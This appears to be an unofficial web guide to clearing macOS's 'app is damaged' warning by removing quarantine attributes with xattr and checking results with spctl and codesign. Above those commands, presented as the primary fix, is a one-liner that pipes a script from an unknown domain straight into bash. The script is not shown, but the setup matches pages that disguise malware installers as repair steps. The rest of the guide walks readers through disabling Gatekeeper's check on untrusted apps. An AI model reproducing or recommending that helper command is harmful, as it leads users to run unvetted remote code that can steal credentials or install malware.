The Terminal Command for “App Is Damaged” on macOS

Two commands cover the warning. One removes the quarantine attribute; the other clears all attributes when the first is not enough. Below is the exact syntax, what each command changes, and how to confirm it worked.

Updated December 2, 2026 · About 5 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Primary command — remove quarantine
sudo xattr -d com.apple.quarantine "/Applications/Your App.app"

Removes the provenance attribute that triggers the check. The narrowest fix and the one to try first.

Fallback — clear all attributes
sudo xattr -cr "/Applications/Your App.app"

Use if the primary reports no such attribute or the dialog returns. Clears every attribute recursively, including Finder tags.

Verify the removal
xattr -l "/Applications/Your App.app"

No com.apple.quarantine line means success. Other attributes may remain — that is fine.

Check the Gatekeeper verdict
spctl -a -vv "/Applications/Your App.app"

Run if the dialog persists. “accepted” means the metadata was the only problem; a rejection names the real cause.

What each command changes

CommandChangesRisk
xattr -d com.apple.quarantineDeletes one extended attribute.Very low.
xattr -crDeletes every extended attribute recursively.Low; Finder tags are lost.
spctl -a -vvRead-only verdict.None.
codesign -dvRead-only signature dump.None.

None of these alter the app’s code or signature. They only touch metadata or print information.

How to run them

  1. Put the app in /Applications and quit it.
  2. Open Terminal (⌘ + Space, Terminal).
  3. Type sudo xattr -d com.apple.quarantine , drag the app in, press Return.
  4. Enter the administrator password — the field stays blank on purpose.
  5. Open the app. If the dialog returns, run the -cr fallback.
  6. If two attempts fail, run spctl -a -vv before doing more.
Quote the path. A path with a space and no quotes becomes two arguments and xattr reports “No such file”. Delete the smart quotes if a word processor swapped them.

Why the narrow command first

Extended attributes carry more than quarantine: Finder tags, where-from URLs, resource forks. The narrow command removes only the one attribute responsible for the warning, so everything else survives. -cr is a broader hammer for the cases where the flag is duplicated deeper in the bundle or the narrow form is refused.

What the results mean

  • No output — the command worked. Launch the app.
  • “No such xattr” — the flag was already absent. Move to spctl.
  • “Operation not permitted” — add sudo, or the app is on a read-only volume.
  • “No such file” — wrong path or missing quotes.
  • Dialog still appears — metadata was not the cause; check the signature and architecture.

When these commands are not enough

If codesign --verify --deep --strict fails on a fresh copy, the bundle is altered or incomplete. Unpack the original archive again or re-download it; attributes cannot repair bytes. On Apple silicon, an Intel-only build additionally needs Rosetta: softwareupdate --install-rosetta.

Full decision tree in Is the app really damaged?

Frequently asked questions

Can I combine the two commands?
Run them one after the other: primary first, fallback only if it fails. Running the broad clear first hides whether the narrow one would have been enough.
Does sudo ask for a password every time?
It caches for a few minutes per Terminal session. A new window asks again.
Can I run these on several apps at once?
Yes, pass multiple quoted paths, but keep it to apps from the same source so you can judge the risk.
Is there an undo?
No command restores attributes, but they are recreated by a new download. Finder tags must be re-added by hand.
Will this work on macOS 26?
Yes, xattr behaviour is unchanged. Manual approval still lives in Privacy & Security.
Do I need to restart after?
No. If an app cached the failed launch, quit and reopen it; a restart is rarely needed.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.